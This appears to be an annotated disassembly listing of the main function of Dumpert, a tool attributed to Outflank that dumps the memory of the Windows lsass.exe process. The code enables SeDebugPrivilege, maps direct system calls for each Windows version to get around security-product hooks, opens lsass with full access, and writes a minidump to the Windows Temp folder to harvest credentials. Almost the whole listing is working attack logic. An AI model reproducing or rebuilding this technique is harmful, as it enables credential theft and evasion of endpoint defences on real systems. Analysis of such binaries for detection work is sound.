Function at 0x140001560
Capabilities:
Acquire debug privileges
Create process memory minidump
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0x580], rax
lea rcx, str.______________________________.______________________t_t_t_t_n
call fcn.140001010
lea rcx, str.__________________________________________________t_t_n
call fcn.140001010
lea rcx, str.___________________________________________t_n
call fcn.140001010
lea rcx, str.___________________________________________t_t_n
call fcn.140001010
lea rcx, str.________________________________________________t_t_n
call fcn.140001010
lea rcx, str._____________________________________________________t_t_n
call fcn.140001010
lea rcx, str.__________________________________Dumpert_t_t_t_t_t_t_t_n
call fcn.140001010
lea rcx, str._______________________________By_Cneeliz__Outflank_2019_t_t_____n_n
call fcn.140001010
xor r14d, r14d
mov ebx, r14d
mov qword [rbp], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp]
lea edx, [r14 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001642
mov rcx, qword [rbp]
lea rax, [rsp + 0x70]
lea r9d, [r14 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x10]
mov dword [rbp + 0x10], r14d
lea edx, [r14 + 0x14]
mov dword [rsp + 0x70], 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp + 0x10]
mov rcx, qword [rbp]
test rcx, rcx
je 0x140001651
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001b99
mov qword [rsp + 0x6a8], rdi
mov qword [rsp + 0x70], r14
mov qword [rbp + 4], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400016d8
lea r8, [rbp + 4]
mov dword [rbp], 1
lea rdx, str.SeDebugPrivilege
mov dword [rbp + 0xc], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x1400016d2
mov qword [rsp + 0x28], r14
lea r8, [rbp]
mov r9d, 0x10
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x40
mov qword [rsp + 0x6a0], rsi
lea ecx, [rdx - 0x3f]
call fcn.140003dd0
lea rcx, str.ntdll.dll
mov dword [rbp + 0x40], 0x11c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140001b4c
lea rcx, str._1__Checking_OS_version_details:_n
call fcn.140001010
lea rcx, [rbp + 0x40]
call rdi
mov eax, dword [rbp + 0x48]
lea r8, str._u._u
mov r9d, dword [rbp + 0x44]
mov edx, 8
mov rcx, rbx
mov dword [rsp + 0x20], eax
call fcn.140001070
mov eax, dword [rbp + 0x4c]
lea rdx, str.10.0
mov rcx, rbx
mov dword [rbx + 0x10], eax
call fcn.140007510
test eax, eax
jne 0x1400017ae
mov r8d, dword [rbx + 0x10]
lea rdx, str.10_or_Server_2016
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001d33]
mov dword [rbx + 0x38], 0x3f
lea rcx, [0x140001d75]
lea rdx, [0x140001d28]
jmp 0x1400018b8
lea rdx, [0x14001db20]
mov rcx, rbx
call fcn.140007510
test eax, eax
jne 0x14000180e
cmp dword [rbp + 0x4c], 0x1db1
jne 0x14000180e
mov r8d, dword [rbx + 0x10]
lea rdx, str.7_SP1_or_Server_2008_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001c2b]
mov dword [rbx + 0x38], 0x3c
lea rcx, [0x140001c6d]
lea rdx, [0x140001c20]
jmp 0x1400018b8
lea rdx, [0x14001db28]
mov rcx, rbx
call fcn.140007510
test eax, eax
jne 0x140001862
mov r8d, dword [rbx + 0x10]
lea rdx, str.8_or_Server_2012
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001c83]
mov dword [rbx + 0x38], 0x3d
lea rcx, [0x140001cc5]
lea rdx, [0x140001c78]
jmp 0x1400018b8
lea rdx, [0x14001db30]
mov rcx, rbx
call fcn.140007510
test eax, eax
jne 0x140001b82
mov r8d, dword [rbx + 0x10]
lea rdx, str.8.1_or_Server_2012_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001cdb]
mov dword [rbx + 0x38], 0x3e
lea rcx, [0x140001d1d]
lea rdx, [0x140001cd0]
mov qword [0x140022d68], rcx
lea rcx, str._2__Checking_Process_details:_n
mov qword [0x140022d78], rdx
mov qword [0x140022d70], rax
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140001b4c
lea rdx, str.lsass.exe
lea rcx, [rbx + 0x18]
call rsi
mov rcx, rbx
call fcn.140001350
test eax, eax
je 0x140001bb0
movups xmm0, xmmword [rbx + 0x18]
mov r8, qword [rbx + 0x28]
lea rdx, [rbp]
lea rcx, str._t___Process_ID_of__wZ_is:__lld_n
movaps xmmword [rbp], xmm0
call fcn.140001010
lea rax, str.NtReadVirtualMemory
mov rcx, rbx
mov qword [rbx + 0x30], rax
call fcn.140001130
test eax, eax
je 0x140001bc7
lea rcx, str._3__Create_memorydump_file:_n
call fcn.140001010
lea rcx, str._t___Open_a_process_handle._n
call fcn.140001010
xorps xmm0, xmm0
mov qword [rsp + 0x60], r14
movdqu xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x68], 0x30
lea r9, [rbp - 0x78]
mov qword [rbp - 0x60], r14
lea r8, [rbp - 0x68]
mov dword [rbp - 0x50], r14d
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x58], r14
mov edx, 0x1fffff
mov rax, qword [rbx + 0x28]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], r14
call qword [0x140022d78]
cmp qword [rsp + 0x60], r14
je 0x140001be2
movsd xmm0, qword [str.___]
lea rcx, [rbp + 0x16a]
movzx eax, word [0x14001e550]
xor edx, edx
mov r8d, 0x1fe
movsd qword [rbp + 0x160], xmm0
mov word [rbp + 0x168], ax
call fcn.140002c70
mov edx, 0x104
lea rcx, [rbp + 0x370]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [rbp + 0x370]
mov edx, 0x104
lea rcx, [rbp + 0x160]
call fcn.140007680
lea r8, str.Tempdumpert.dmp
mov edx, 0x104
lea rcx, [rbp + 0x160]
call fcn.140007680
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x20]
call rsi
movups xmm1, xmmword [rbx + 0x18]
lea r8, [rbp]
movaps xmm0, xmmword [rbp + 0x20]
lea rdx, [rsp + 0x70]
lea rcx, str._t___Dump__wZ_memory_to:__wZ_n
movaps xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp], xmm0
call fcn.140001010
mov dword [rsp + 0x50], r14d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], r14
lea r9, [rbp + 0x30]
mov dword [rsp + 0x40], 0x20
lea r8, [rbp - 0x38]
mov dword [rsp + 0x38], 5
lea rcx, [rbp - 0x80]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], r14
mov qword [rbp - 0x80], r14
movups xmmword [rbp + 0x30], xmm0
mov dword [rbp - 0x38], 0x30
mov qword [rbp - 0x30], r14
mov dword [rbp - 0x20], 0x40
mov qword [rbp - 0x28], rax
movdqu xmmword [rbp - 0x18], xmm0
call qword [0x140022d68]
cmp qword [rbp - 0x80], 0xffffffffffffffff
je 0x140001bf9
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8, qword [rbp - 0x80]
mov r9d, 2
mov rcx, qword [rsp + 0x60]
mov edx, eax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x140001b2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____Failed_to_create_minidump__error_code:__x_n
call fcn.140001010
jmp 0x140001b37
lea rcx, str._t___Dump_succesful._n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
call qword [0x140022d70]
mov rcx, qword [rsp + 0x60]
call qword [0x140022d70]
mov rsi, qword [rsp + 0x6a0]
xor eax, eax
mov rdi, qword [rsp + 0x6a8]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140001d90
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, str._t____OS_Version_not_supported._n_n
call fcn.140001010
mov ecx, 1
call fcn.140003dc4
int3
lea rcx, str.____You_need_elevated_privileges_to_run_this_tool__n
call fcn.140001010
mov ecx, 1
call fcn.140003dc4
int3
lea rcx, str._t____Enumerating_process_failed._n
call fcn.140001010
mov ecx, 1
call fcn.140003dc4
int3
mov rdx, qword [rbx + 0x30]
lea rcx, str._t____Unhooking__s_failed._n
call fcn.1400010d0
mov ecx, 1
call fcn.140003dc4
int3
lea rcx, str._t____Failed_to_get_processhandle._n
call fcn.140001010
mov ecx, 1
call fcn.140003dc4
int3
lea rcx, str._t____Failed_to_create_dumpfile._n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [0x140022d70]
mov ecx, 1
call fcn.140003dc4
int3